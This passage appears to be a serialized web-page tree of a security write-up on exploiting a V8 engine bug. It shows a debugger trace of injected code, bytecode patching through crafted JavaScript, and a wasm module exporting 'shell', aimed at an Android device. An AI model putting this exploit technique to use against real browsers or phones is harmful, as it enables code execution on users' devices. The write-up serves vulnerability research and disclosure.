5},[135046],{"type":28,"value":1224},{"type":23,"tag":134,"props":135048,"children":135049},{"style":179},[135050],{"type":28,"value":242},{"type":23,"tag":134,"props":135052,"children":135053},{"style":205},[135054],{"type":28,"value":1224},{"type":23,"tag":134,"props":135056,"children":135057},{"style":179},[135058],{"type":28,"value":242},{"type":23,"tag":134,"props":135060,"children":135061},{"style":205},[135062],{"type":28,"value":1224},{"type":23,"tag":134,"props":135064,"children":135065},{"style":179},[135066],{"type":28,"value":242},{"type":23,"tag":134,"props":135068,"children":135069},{"style":205},[135070],{"type":28,"value":1224},{"type":23,"tag":134,"props":135072,"children":135073},{"style":179},[135074],{"type":28,"value":242},{"type":23,"tag":134,"props":135076,"children":135077},{"style":205},[135078],{"type":28,"value":1224},{"type":23,"tag":134,"props":135080,"children":135081},{"style":179},[135082],{"type":28,"value":242},{"type":23,"tag":134,"props":135084,"children":135085},{"style":205},[135086],{"type":28,"value":17001},{"type":23,"tag":134,"props":135088,"children":135089},{"style":179},[135090],{"type":28,"value":242},{"type":23,"tag":134,"props":135092,"children":135093},{"style":205},[135094],{"type":28,"value":1224},{"type":23,"tag":134,"props":135096,"children":135097},{"style":179},[135098],{"type":28,"value":242},{"type":23,"tag":134,"props":135100,"children":135101},{"style":205},[135102],{"type":28,"value":1224},{"type":23,"tag":134,"props":135104,"children":135105},{"style":179},[135106],{"type":28,"value":242},{"type":23,"tag":134,"props":135108,"children":135109},{"style":205},[135110],{"type":28,"value":1224},{"type":23,"tag":134,"props":135112,"children":135113},{"style":179},[135114],{"type":28,"value":242},{"type":23,"tag":134,"props":135116,"children":135117},{"style":205},[135118],{"type":28,"value":1224},{"type":23,"tag":134,"props":135120,"children":135121},{"style":179},[135122],{"type":28,"value":242},{"type":23,"tag":134,"props":135124,"children":135125},{"style":205},[135126],{"type":28,"value":1224},{"type":23,"tag":134,"props":135128,"children":135129},{"style":179},[135130],{"type":28,"value":242},{"type":23,"tag":134,"props":135132,"children":135133},{"style":205},[135134],{"type":28,"value":1224},{"type":23,"tag":134,"props":135136,"children":135137},{"style":179},[135138],{"type":28,"value":242},{"type":23,"tag":134,"props":135140,"children":135141},{"style":205},[135142],{"type":28,"value":1224},{"type":23,"tag":134,"props":135144,"children":135145},{"style":179},[135146],{"type":28,"value":242},{"type":23,"tag":134,"props":135148,"children":135149},{"style":205},[135150],{"type":28,"value":1224},{"type":23,"tag":134,"props":135152,"children":135153},{"style":179},[135154],{"type":28,"value":242},{"type":23,"tag":134,"props":135156,"children":135157},{"style":205},[135158],{"type":28,"value":1224},{"type":23,"tag":134,"props":135160,"children":135161},{"style":179},[135162],{"type":28,"value":242},{"type":23,"tag":134,"props":135164,"children":135165},{"style":205},[135166],{"type":28,"value":1224},{"type":23,"tag":134,"props":135168,"children":135169},{"style":179},[135170],{"type":28,"value":242},{"type":23,"tag":134,"props":135172,"children":135173},{"style":205},[135174],{"type":28,"value":1224},{"type":23,"tag":134,"props":135176,"children":135177},{"style":179},[135178],{"type":28,"value":242},{"type":23,"tag":134,"props":135180,"children":135181},{"style":205},[135182],{"type":28,"value":1224},{"type":23,"tag":134,"props":135184,"children":135185},{"style":179},[135186],{"type":28,"value":242},{"type":23,"tag":134,"props":135188,"children":135189},{"style":205},[135190],{"type":28,"value":1224},{"type":23,"tag":134,"props":135192,"children":135193},{"style":179},[135194],{"type":28,"value":242},{"type":23,"tag":134,"props":135196,"children":135197},{"style":205},[135198],{"type":28,"value":1224},{"type":23,"tag":134,"props":135200,"children":135201},{"style":179},[135202],{"type":28,"value":242},{"type":23,"tag":134,"props":135204,"children":135205},{"style":205},[135206],{"type":28,"value":1224},{"type":23,"tag":134,"props":135208,"children":135209},{"style":179},[135210],{"type":28,"value":687},{"type":23,"tag":134,"props":135212,"children":135213},{"class":136,"line":780},[135214,135218,135222,135226,135230,135234,135238,135242,135246,135250,135254,135258,135262,135266,135270,135274,135278,135282,135286,135290,135294,135298,135302,135306,135310,135314,135318,135322,135326,135330,135334,135338,135342,135346,135350,135354,135358,135362,135366,135370,135374,135378,135382,135386,135390,135394,135398,135402,135406,135410,135414,135419,135423,135427],{"type":23,"tag":134,"props":135215,"children":135216},{"style":205},[135217],{"type":28,"value":133709},{"type":23,"tag":134,"props":135219,"children":135220},{"style":179},[135221],{"type":28,"value":242},{"type":23,"tag":134,"props":135223,"children":135224},{"style":205},[135225],{"type":28,"value":1224},{"type":23,"tag":134,"props":135227,"children":135228},{"style":179},[135229],{"type":28,"value":242},{"type":23,"tag":134,"props":135231,"children":135232},{"style":205},[135233],{"type":28,"value":1224},{"type":23,"tag":134,"props":135235,"children":135236},{"style":179},[135237],{"type":28,"value":242},{"type":23,"tag":134,"props":135239,"children":135240},{"style":205},[135241],{"type":28,"value":1224},{"type":23,"tag":134,"props":135243,"children":135244},{"style":179},[135245],{"type":28,"value":242},{"type":23,"tag":134,"props":135247,"children":135248},{"style":205},[135249],{"type":28,"value":1224},{"type":23,"tag":134,"props":135251,"children":135252},{"style":179},[135253],{"type":28,"value":242},{"type":23,"tag":134,"props":135255,"children":135256},{"style":205},[135257],{"type":28,"value":1224},{"type":23,"tag":134,"props":135259,"children":135260},{"style":179},[135261],{"type":28,"value":242},{"type":23,"tag":134,"props":135263,"children":135264},{"style":205},[135265],{"type":28,"value":1224},{"type":23,"tag":134,"props":135267,"children":135268},{"style":179},[135269],{"type":28,"value":242},{"type":23,"tag":134,"props":135271,"children":135272},{"style":205},[135273],{"type":28,"value":1224},{"type":23,"tag":134,"props":135275,"children":135276},{"style":179},[135277],{"type":28,"value":242},{"type":23,"tag":134,"props":135279,"children":135280},{"style":205},[135281],{"type":28,"value":1224},{"type":23,"tag":134,"props":135283,"children":135284},{"style":179},[135285],{"type":28,"value":242},{"type":23,"tag":134,"props":135287,"children":135288},{"style":205},[135289],{"type":28,"value":1224},{"type":23,"tag":134,"props":135291,"children":135292},{"style":179},[135293],{"type":28,"value":242},{"type":23,"tag":134,"props":135295,"children":135296},{"style":205},[135297],{"type":28,"value":1224},{"type":23,"tag":134,"props":135299,"children":135300},{"style":179},[135301],{"type":28,"value":242},{"type":23,"tag":134,"props":135303,"children":135304},{"style":205},[135305],{"type":28,"value":1224},{"type":23,"tag":134,"props":135307,"children":135308},{"style":179},[135309],{"type":28,"value":242},{"type":23,"tag":134,"props":135311,"children":135312},{"style":205},[135313],{"type":28,"value":1224},{"type":23,"tag":134,"props":135315,"children":135316},{"style":179},[135317],{"type":28,"value":242},{"type":23,"tag":134,"props":135319,"children":135320},{"style":205},[135321],{"type":28,"value":1224},{"type":23,"tag":134,"props":135323,"children":135324},{"style":179},[135325],{"type":28,"value":242},{"type":23,"tag":134,"props":135327,"children":135328},{"style":205},[135329],{"type":28,"value":1224},{"type":23,"tag":134,"props":135331,"children":135332},{"style":179},[135333],{"type":28,"value":242},{"type":23,"tag":134,"props":135335,"children":135336},{"style":205},[135337],{"type":28,"value":1224},{"type":23,"tag":134,"props":135339,"children":135340},{"style":179},[135341],{"type":28,"value":242},{"type":23,"tag":134,"props":135343,"children":135344},{"style":205},[135345],{"type":28,"value":1224},{"type":23,"tag":134,"props":135347,"children":135348},{"style":179},[135349],{"type":28,"value":242},{"type":23,"tag":134,"props":135351,"children":135352},{"style":205},[135353],{"type":28,"value":1224},{"type":23,"tag":134,"props":135355,"children":135356},{"style":179},[135357],{"type":28,"value":242},{"type":23,"tag":134,"props":135359,"children":135360},{"style":205},[135361],{"type":28,"value":1224},{"type":23,"tag":134,"props":135363,"children":135364},{"style":179},[135365],{"type":28,"value":242},{"type":23,"tag":134,"props":135367,"children":135368},{"style":205},[135369],{"type":28,"value":1224},{"type":23,"tag":134,"props":135371,"children":135372},{"style":179},[135373],{"type":28,"value":242},{"type":23,"tag":134,"props":135375,"children":135376},{"style":205},[135377],{"type":28,"value":1224},{"type":23,"tag":134,"props":135379,"children":135380},{"style":179},[135381],{"type":28,"value":242},{"type":23,"tag":134,"props":135383,"children":135384},{"style":205},[135385],{"type":28,"value":1224},{"type":23,"tag":134,"props":135387,"children":135388},{"style":179},[135389],{"type":28,"value":242},{"type":23,"tag":134,"props":135391,"children":135392},{"style":205},[135393],{"type":28,"value":1224},{"type":23,"tag":134,"props":135395,"children":135396},{"style":179},[135397],{"type":28,"value":242},{"type":23,"tag":134,"props":135399,"children":135400},{"style":205},[135401],{"type":28,"value":28916},{"type":23,"tag":134,"props":135403,"children":135404},{"style":179},[135405],{"type":28,"value":242},{"type":23,"tag":134,"props":135407,"children":135408},{"style":205},[135409],{"type":28,"value":134962},{"type":23,"tag":134,"props":135411,"children":135412},{"style":179},[135413],{"type":28,"value":242},{"type":23,"tag":134,"props":135415,"children":135416},{"style":205},[135417],{"type":28,"value":135418},"198",{"type":23,"tag":134,"props":135420,"children":135421},{"style":179},[135422],{"type":28,"value":242},{"type":23,"tag":134,"props":135424,"children":135425},{"style":205},[135426],{"type":28,"value":1224},{"type":23,"tag":134,"props":135428,"children":135429},{"style":179},[135430],{"type":28,"value":687},{"type":23,"tag":134,"props":135432,"children":135433},{"class":136,"line":797},[135434],{"type":23,"tag":134,"props":135435,"children":135436},{"style":179},[135437],{"type":28,"value":133996},{"type":23,"tag":134,"props":135439,"children":135440},{"class":136,"line":814},[135441,135445,135450,135454,135459,135463,135467,135471,135475,135479,135483],{"type":23,"tag":134,"props":135442,"children":135443},{"style":151},[135444],{"type":28,"value":7314},{"type":23,"tag":134,"props":135446,"children":135447},{"style":162},[135448],{"type":28,"value":135449}," r",{"type":23,"tag":134,"props":135451,"children":135452},{"style":168},[135453],{"type":28,"value":171},{"type":23,"tag":134,"props":135455,"children":135456},{"style":264},[135457],{"type":28,"value":135458}," bug",{"type":23,"tag":134,"props":135460,"children":135461},{"style":179},[135462],{"type":28,"value":272},{"type":23,"tag":134,"props":135464,"children":135465},{"style":162},[135466],{"type":28,"value":133327},{"type":23,"tag":134,"props":135468,"children":135469},{"style":179},[135470],{"type":28,"value":242},{"type":23,"tag":134,"props":135472,"children":135473},{"style":162},[135474],{"type":28,"value":124654},{"type":23,"tag":134,"props":135476,"children":135477},{"style":179},[135478],{"type":28,"value":720},{"type":23,"tag":134,"props":135480,"children":135481},{"style":162},[135482],{"type":28,"value":124654},{"type":23,"tag":134,"props":135484,"children":135485},{"style":179},[135486],{"type":28,"value":1021},{"type":23,"tag":134,"props":135488,"children":135489},{"class":136,"line":827},[135490,135495,135499,135503,135507,135511,135515,135519,135524,135528],{"type":23,"tag":134,"props":135491,"children":135492},{"style":162},[135493],{"type":28,"value":135494},"  result",{"type":23,"tag":134,"props":135496,"children":135497},{"style":168},[135498],{"type":28,"value":171},{"type":23,"tag":134,"props":135500,"children":135501},{"style":179},[135502],{"type":28,"value":232},{"type":23,"tag":134,"props":135504,"children":135505},{"style":189},[135506],{"type":28,"value":32412},{"type":23,"tag":134,"props":135508,"children":135509},{"style":162},[135510],{"type":28,"value":135449},{"type":23,"tag":134,"props":135512,"children":135513},{"style":179},[135514],{"type":28,"value":720},{"type":23,"tag":134,"props":135516,"children":135517},{"style":264},[135518],{"type":28,"value":57072},{"type":23,"tag":134,"props":135520,"children":135521},{"style":179},[135522],{"type":28,"value":135523},"()).",{"type":23,"tag":134,"props":135525,"children":135526},{"style":162},[135527],{"type":28,"value":38650},{"type":23,"tag":134,"props":135529,"children":135530},{"style":179},[135531],{"type":28,"value":182},{"type":23,"tag":134,"props":135533,"children":135534},{"class":136,"line":836},[135535,135539,135544,135548,135552,135556,135560,135564,135568,135572],{"type":23,"tag":134,"props":135536,"children":135537},{"style":151},[135538],{"type":28,"value":35686},{"type":23,"tag":134,"props":135540,"children":135541},{"style":162},[135542],{"type":28,"value":135543}," wasm_instance",{"type":23,"tag":134,"props":135545,"children":135546},{"style":168},[135547],{"type":28,"value":171},{"type":23,"tag":134,"props":135549,"children":135550},{"style":151},[135551],{"type":28,"value":31428},{"type":23,"tag":134,"props":135553,"children":135554},{"style":162},[135555],{"type":28,"value":133310},{"type":23,"tag":134,"props":135557,"children":135558},{"style":179},[135559],{"type":28,"value":720},{"type":23,"tag":134,"props":135561,"children":135562},{"style":264},[135563],{"type":28,"value":133364},{"type":23,"tag":134,"props":135565,"children":135566},{"style":179},[135567],{"type":28,"value":272},{"type":23,"tag":134,"props":135569,"children":135570},{"style":162},[135571],{"type":28,"value":8544},{"type":23,"tag":134,"props":135573,"children":135574},{"style":179},[135575],{"type":28,"value":1021},{"type":23,"tag":134,"props":135577,"children":135578},{"class":136,"line":859},[135579,135583,135587,135591,135595,135599,135603,135607,135611],{"type":23,"tag":134,"props":135580,"children":135581},{"style":151},[135582],{"type":28,"value":35686},{"type":23,"tag":134,"props":135584,"children":135585},{"style":162},[135586],{"type":28,"value":32467},{"type":23,"tag":134,"props":135588,"children":135589},{"style":168},[135590],{"type":28,"value":171},{"type":23,"tag":134,"props":135592,"children":135593},{"style":162},[135594],{"type":28,"value":135543},{"type":23,"tag":134,"props":135596,"children":135597},{"style":179},[135598],{"type":28,"value":720},{"type":23,"tag":134,"props":135600,"children":135601},{"style":162},[135602],{"type":28,"value":37384},{"type":23,"tag":134,"props":135604,"children":135605},{"style":179},[135606],{"type":28,"value":720},{"type":23,"tag":134,"props":135608,"children":135609},{"style":162},[135610],{"type":28,"value":133413},{"type":23,"tag":134,"props":135612,"children":135613},{"style":179},[135614],{"type":28,"value":182},{"type":23,"tag":134,"props":135616,"children":135617},{"class":136,"line":868},[135618,135623],{"type":23,"tag":134,"props":135619,"children":135620},{"style":264},[135621],{"type":28,"value":135622},"  f",{"type":23,"tag":134,"props":135624,"children":135625},{"style":179},[135626],{"type":28,"value":856},{"type":23,"tag":134,"props":135628,"children":135629},{"class":136,"line":877},[135630],{"type":23,"tag":134,"props":135631,"children":135632},{"style":179},[135633],{"type":28,"value":101497},{"type":23,"tag":24,"props":135635,"children":135636},{},[135637],{"type":28,"value":135638},"Running this in a debugger shows the expected breakpoint:",{"type":23,"tag":87,"props":135640,"children":135642},{"code":135641},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[135643],{"type":23,"tag":92,"props":135644,"children":135645},{"__ignoreMap":7},[135646],{"type":28,"value":135641},{"type":23,"tag":9072,"props":135648,"children":135650},{"id":135649},"porting-to-android",[135651],{"type":28,"value":135652},"Porting to Android",{"type":23,"tag":24,"props":135654,"children":135655},{},[135656,135658,135663,135665,135670,135672,135677,135679,135685],{"type":28,"value":135657},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":23,"tag":92,"props":135659,"children":135661},{"className":135660},[],[135662],{"type":28,"value":132442},{"type":28,"value":135664}," fails. We cross-compiled ",{"type":23,"tag":92,"props":135666,"children":135668},{"className":135667},[],[135669],{"type":28,"value":131601},{"type":28,"value":135671}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":23,"tag":92,"props":135673,"children":135675},{"className":135674},[],[135676],{"type":28,"value":132442},{"type":28,"value":135678}," returned ",{"type":23,"tag":92,"props":135680,"children":135682},{"className":135681},[],[135683],{"type":28,"value":135684},"undefined",{"type":28,"value":720},{"type":23,"tag":24,"props":135687,"children":135688},{},[135689,135691,135696,135698,135703],{"type":28,"value":135690},"Instead, we modified the bytecode to call ",{"type":23,"tag":92,"props":135692,"children":135694},{"className":135693},[],[135695],{"type":28,"value":132468},{"type":28,"value":135697}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":23,"tag":92,"props":135699,"children":135701},{"className":135700},[],[135702],{"type":28,"value":132442},{"type":28,"value":720},{"type":23,"tag":87,"props":135705,"children":135707},{"code":135706,"language":35113,"meta":7,"className":35111,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[135708],{"type":23,"tag":92,"props":135709,"children":135710},{"__ignoreMap":7},[135711,135722,135766,135786,135802,135825,135852,135867],{"type":23,"tag":134,"props":135712,"children":135713},{"class":136,"line":137},[135714,135718],{"type":23,"tag":134,"props":135715,"children":135716},{"style":189},[135717],{"type":28,"value":47836},{"type":23,"tag":134,"props":135719,"children":135720},{"style":179},[135721],{"type":28,"value":463},{"type":23,"tag":134,"props":135723,"children":135724},{"class":136,"line":147},[135725,135729,135733,135737,135741,135745,135749,135754,135758,135762],{"type":23,"tag":134,"props":135726,"children":135727},{"style":162},[135728],{"type":28,"value":132709},{"type":23,"tag":134,"props":135730,"children":135731},{"style":179},[135732],{"type":28,"value":76130},{"type":23,"tag":134,"props":135734,"children":135735},{"style":1461},[135736],{"type":28,"value":132718},{"type":23,"tag":134,"props":135738,"children":135739},{"style":179},[135740],{"type":28,"value":720},{"type":23,"tag":134,"props":135742,"children":135743},{"style":264},[135744],{"type":28,"value":132727},{"type":23,"tag":134,"props":135746,"children":135747},{"style":179},[135748],{"type":28,"value":272},{"type":23,"tag":134,"props":135750,"children":135751},{"style":205},[135752],{"type":28,"value":135753},"0x059301",{"type":23,"tag":134,"props":135755,"children":135756},{"style":168},[135757],{"type":28,"value":50761},{"type":23,"tag":134,"props":135759,"children":135760},{"style":205},[135761],{"type":28,"value":1729},{"type":23,"tag":134,"props":135763,"children":135764},{"style":179},[135765],{"type":28,"value":132749},{"type":23,"tag":134,"props":135767,"children":135768},{"class":136,"line":185},[135769,135773,135777,135782],{"type":23,"tag":134,"props":135770,"children":135771},{"style":162},[135772],{"type":28,"value":132757},{"type":23,"tag":134,"props":135774,"children":135775},{"style":168},[135776],{"type":28,"value":8365},{"type":23,"tag":134,"props":135778,"children":135779},{"style":205},[135780],{"type":28,"value":135781}," 0x03027a6c",{"type":23,"tag":134,"props":135783,"children":135784},{"style":179},[135785],{"type":28,"value":182},{"type":23,"tag":134,"props":135787,"children":135788},{"class":136,"line":221},[135789,135793,135798],{"type":23,"tag":134,"props":135790,"children":135791},{"style":189},[135792],{"type":28,"value":34699},{"type":23,"tag":134,"props":135794,"children":135795},{"style":205},[135796],{"type":28,"value":135797}," 0x393e71a",{"type":23,"tag":134,"props":135799,"children":135800},{"style":179},[135801],{"type":28,"value":182},{"type":23,"tag":134,"props":135803,"children":135804},{"class":136,"line":332},[135805,135809,135813,135817,135821],{"type":23,"tag":134,"props":135806,"children":135807},{"style":179},[135808],{"type":28,"value":46378},{"type":23,"tag":134,"props":135810,"children":135811},{"style":189},[135812],{"type":28,"value":47916},{"type":23,"tag":134,"props":135814,"children":135815},{"style":179},[135816],{"type":28,"value":232},{"type":23,"tag":134,"props":135818,"children":135819},{"style":162},[135820],{"type":28,"value":50960},{"type":23,"tag":134,"props":135822,"children":135823},{"style":179},[135824],{"type":28,"value":14272},{"type":23,"tag":134,"props":135826,"children":135827},{"class":136,"line":438},[135828,135832,135836,135840,135844,135848],{"type":23,"tag":134,"props":135829,"children":135830},{"style":162},[135831],{"type":28,"value":101456},{"type":23,"tag":134,"props":135833,"children":135834},{"style":179},[135835],{"type":28,"value":720},{"type":23,"tag":134,"props":135837,"children":135838},{"style":264},[135839],{"type":28,"value":101465},{"type":23,"tag":134,"props":135841,"children":135842},{"style":179},[135843],{"type":28,"value":272},{"type":23,"tag":134,"props":135845,"children":135846},{"style":1461},[135847],{"type":28,"value":132833},{"type":23,"tag":134,"props":135849,"children":135850},{"style":179},[135851],{"type":28,"value":1021},{"type":23,"tag":134,"props":135853,"children":135854},{"class":136,"line":466},[135855,135859,135863],{"type":23,"tag":134,"props":135856,"children":135857},{"style":189},[135858],{"type":28,"value":132845},{"type":23,"tag":134,"props":135860,"children":135861},{"style":162},[135862],{"type":28,"value":132850},{"type":23,"tag":134,"props":135864,"children":135865},{"style":179},[135866],{"type":28,"value":182},{"type":23,"tag":134,"props":135868,"children":135869},{"class":136,"line":479},[135870],{"type":23,"tag":134,"props":135871,"children":135872},{"style":179},[135873],{"type":28,"value":1098},{"type":23,"tag":24,"props":135875,"children":135876},{},[135877,135879,135885,135887,135893,135895,135901,135903,135908,135910,135916,135918,135923,135924,135930],{"type":28,"value":135878},"Here, ",{"type":23,"tag":92,"props":135880,"children":135882},{"className":135881},[],[135883],{"type":28,"value":135884},"a1 + 0x03027a6c",{"type":28,"value":135886}," generates the bytes ",{"type":23,"tag":92,"props":135888,"children":135890},{"className":135889},[],[135891],{"type":28,"value":135892},"01 4b 6c 7a 02 03",{"type":28,"value":135894},", where ",{"type":23,"tag":92,"props":135896,"children":135898},{"className":135897},[],[135899],{"type":28,"value":135900},"0x6c",{"type":28,"value":135902}," is the ",{"type":23,"tag":92,"props":135904,"children":135906},{"className":135905},[],[135907],{"type":28,"value":132426},{"type":28,"value":135909}," opcode, ",{"type":23,"tag":92,"props":135911,"children":135913},{"className":135912},[],[135914],{"type":28,"value":135915},"0x027a",{"type":28,"value":135917}," is the function ID of ",{"type":23,"tag":92,"props":135919,"children":135921},{"className":135920},[],[135922],{"type":28,"value":132468},{"type":28,"value":5945},{"type":23,"tag":92,"props":135925,"children":135927},{"className":135926},[],[135928],{"type":28,"value":135929},"0x03",{"type":28,"value":135931}," is the register index holding its first argument.",{"type":23,"tag":24,"props":135933,"children":135934},{},[135935,135937,135942,135943,135948,135950,135955],{"type":28,"value":135936},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":23,"tag":92,"props":135938,"children":135940},{"className":135939},[],[135941],{"type":28,"value":132468},{"type":28,"value":10458},{"type":23,"tag":92,"props":135944,"children":135946},{"className":135945},[],[135947],{"type":28,"value":133436},{"type":28,"value":135949},". To avoid patching the bytecode again to invoke ",{"type":23,"tag":92,"props":135951,"children":135953},{"className":135952},[],[135954],{"type":28,"value":133436},{"type":28,"value":135956},", we can force Turbofan to compile the target function like this:",{"type":23,"tag":87,"props":135958,"children":135960},{"code":135959,"language":35113,"meta":7,"className":35111,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[135961],{"type":23,"tag":92,"props":135962,"children":135963},{"__ignoreMap":7},[135964,135972,136032,136044],{"type":23,"tag":134,"props":135965,"children":135966},{"class":136,"line":137},[135967],{"type":23,"tag":134,"props":135968,"children":135969},{"style":141},[135970],{"type":28,"value":135971},"// %WasmTierUpFunction(func);\n",{"type":23,"tag":134,"props":135973,"children":135974},{"class":136,"line":147},[135975,135979,135983,135987,135991,135995,135999,136003,136007,136011,136016,136020,136024,136028],{"type":23,"tag":134,"props":135976,"children":135977},{"style":189},[135978],{"type":28,"value":571},{"type":23,"tag":134,"props":135980,"children":135981},{"style":179},[135982],{"type":28,"value":232},{"type":23,"tag":134,"props":135984,"children":135985},{"style":151},[135986],{"type":28,"value":11254},{"type":23,"tag":134,"props":135988,"children":135989},{"style":162},[135990],{"type":28,"value":576},{"type":23,"tag":134,"props":135992,"children":135993},{"style":168},[135994],{"type":28,"value":171},{"type":23,"tag":134,"props":135996,"children":135997},{"style":205},[135998],{"type":28,"value":208},{"type":23,"tag":134,"props":136000,"children":136001},{"style":179},[136002],{"type":28,"value":16699},{"type":23,"tag":134,"props":136004,"children":136005},{"style":162},[136006],{"type":28,"value":929},{"type":23,"tag":134,"props":136008,"children":136009},{"style":168},[136010],{"type":28,"value":8179},{"type":23,"tag":134,"props":136012,"children":136013},{"style":205},[136014],{"type":28,"value":136015}," 0x100000",{"type":23,"tag":134,"props":136017,"children":136018},{"style":179},[136019],{"type":28,"value":16699},{"type":23,"tag":134,"props":136021,"children":136022},{"style":162},[136023],{"type":28,"value":929},{"type":23,"tag":134,"props":136025,"children":136026},{"style":168},[136027],{"type":28,"value":50775},{"type":23,"tag":134,"props":136029,"children":136030},{"style":179},[136031],{"type":28,"value":14272},{"type":23,"tag":134,"props":136033,"children":136034},{"class":136,"line":185},[136035,136040],{"type":23,"tag":134,"props":136036,"children":136037},{"style":264},[136038],{"type":28,"value":136039},"  func",{"type":23,"tag":134,"props":136041,"children":136042},{"style":179},[136043],{"type":28,"value":856},{"type":23,"tag":134,"props":136045,"children":136046},{"class":136,"line":221},[136047],{"type":23,"tag":134,"props":136048,"children":136049},{"style":179},[136050],{"type":28,"value":1098},{"type":23,"tag":24,"props":136052,"children":136053},{},[136054],{"type":28,"value":136055},"Finally, running this code on the device:",{"type":23,"tag":87,"props":136057,"children":136059},{"code":136058,"language":35113,"meta":7,"className":35111,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[136060],{"type":23,"tag":92,"props":136061,"children":136062},{"__ignoreMap":7},[136063,136086,136114,136333,136400,136407,136450,136493,136532,136539,136547,136607,136619,136626,136633,136664,136707,136734,136741,136777,136840],{"type":23,"tag":134,"props":136064,"children":136065},{"class":136,"line":137},[136066,136070,136074,136078,136082],{"type":23,"tag":134,"props":136067,"children":136068},{"style":179},[136069],{"type":28,"value":272},{"type":23,"tag":134,"props":136071,"children":136072},{"style":151},[136073],{"type":28,"value":35643},{"type":23,"tag":134,"props":136075,"children":136076},{"style":179},[136077],{"type":28,"value":39195},{"type":23,"tag":134,"props":136079,"children":136080},{"style":151},[136081],{"type":28,"value":14290},{"type":23,"tag":134,"props":136083,"children":136084},{"style":179},[136085],{"type":28,"value":463},{"type":23,"tag":134,"props":136087,"children":136088},{"class":136,"line":147},[136089,136094,136098,136102,136106,136110],{"type":23,"tag":134,"props":136090,"children":136091},{"style":151},[136092],{"type":28,"value":136093},"  var",{"type":23,"tag":134,"props":136095,"children":136096},{"style":162},[136097],{"type":28,"value":132966},{"type":23,"tag":134,"props":136099,"children":136100},{"style":168},[136101],{"type":28,"value":171},{"type":23,"tag":134,"props":136103,"children":136104},{"style":151},[136105],{"type":28,"value":31428},{"type":23,"tag":134,"props":136107,"children":136108},{"style":264},[136109],{"type":28,"value":132979},{"type":23,"tag":134,"props":136111,"children":136112},{"style":179},[136113],{"type":28,"value":132984},{"type":23,"tag":134,"props":136115,"children":136116},{"class":136,"line":185},[136117,136121,136125,136129,136133,136137,136141,136145,136149,136153,136157,136161,136165,136169,136173,136177,136181,136185,136189,136193,136197,136201,136205,136209,136213,136217,136221,136225,136229,136233,136237,136241,136245,136249,136253,136257,136261,136265,136269,136273,136277,136281,136285,136289,136293,136297,136301,136305,136309,136313,136317,136321,136325,136329],{"type":23,"tag":134,"props":136118,"children":136119},{"style":205},[136120],{"type":28,"value":133709},{"type":23,"tag":134,"props":136122,"children":136123},{"style":179},[136124],{"type":28,"value":242},{"type":23,"tag":134,"props":136126,"children":136127},{"style":205},[136128],{"type":28,"value":133001},{"type":23,"tag":134,"props":136130,"children":136131},{"style":179},[136132],{"type":28,"value":242},{"type":23,"tag":134,"props":136134,"children":136135},{"style":205},[136136],{"type":28,"value":133010},{"type":23,"tag":134,"props":136138,"children":136139},{"style":179},[136140],{"type":28,"value":242},{"type":23,"tag":134,"props":136142,"children":136143},{"style":205},[136144],{"type":28,"value":133019},{"type":23,"tag":134,"props":136146,"children":136147},{"style":179},[136148],{"type":28,"value":242},{"type":23,"tag":134,"props":136150,"children":136151},{"style":205},[136152],{"type":28,"value":1214},{"type":23,"tag":134,"props":136154,"children":136155},{"style":179},[136156],{"type":28,"value":242},{"type":23,"tag":134,"props":136158,"children":136159},{"style":205},[136160],{"type":28,"value":1224},{"type":23,"tag":134,"props":136162,"children":136163},{"style":179},[136164],{"type":28,"value":242},{"type":23,"tag":134,"props":136166,"children":136167},{"style":205},[136168],{"type":28,"value":1224},{"type":23,"tag":134,"props":136170,"children":136171},{"style":179},[136172],{"type":28,"value":242},{"type":23,"tag":134,"props":136174,"children":136175},{"style":205},[136176],{"type":28,"value":1224},{"type":23,"tag":134,"props":136178,"children":136179},{"style":179},[136180],{"type":28,"value":242},{"type":23,"tag":134,"props":136182,"children":136183},{"style":205},[136184],{"type":28,"value":1214},{"type":23,"tag":134,"props":136186,"children":136187},{"style":179},[136188],{"type":28,"value":242},{"type":23,"tag":134,"props":136190,"children":136191},{"style":205},[136192],{"type":28,"value":17001},{"type":23,"tag":134,"props":136194,"children":136195},{"style":179},[136196],{"type":28,"value":242},{"type":23,"tag":134,"props":136198,"children":136199},{"style":205},[136200],{"type":28,"value":1214},{"type":23,"tag":134,"props":136202,"children":136203},{"style":179},[136204],{"type":28,"value":242},{"type":23,"tag":134,"props":136206,"children":136207},{"style":205},[136208],{"type":28,"value":133084},{"type":23,"tag":134,"props":136210,"children":136211},{"style":179},[136212],{"type":28,"value":242},{"type":23,"tag":134,"props":136214,"children":136215},{"style":205},[136216],{"type":28,"value":1224},{"type":23,"tag":134,"props":136218,"children":136219},{"style":179},[136220],{"type":28,"value":242},{"type":23,"tag":134,"props":136222,"children":136223},{"style":205},[136224],{"type":28,"value":1224},{"type":23,"tag":134,"props":136226,"children":136227},{"style":179},[136228],{"type":28,"value":242},{"type":23,"tag":134,"props":136230,"children":136231},{"style":205},[136232],{"type":28,"value":16768},{"type"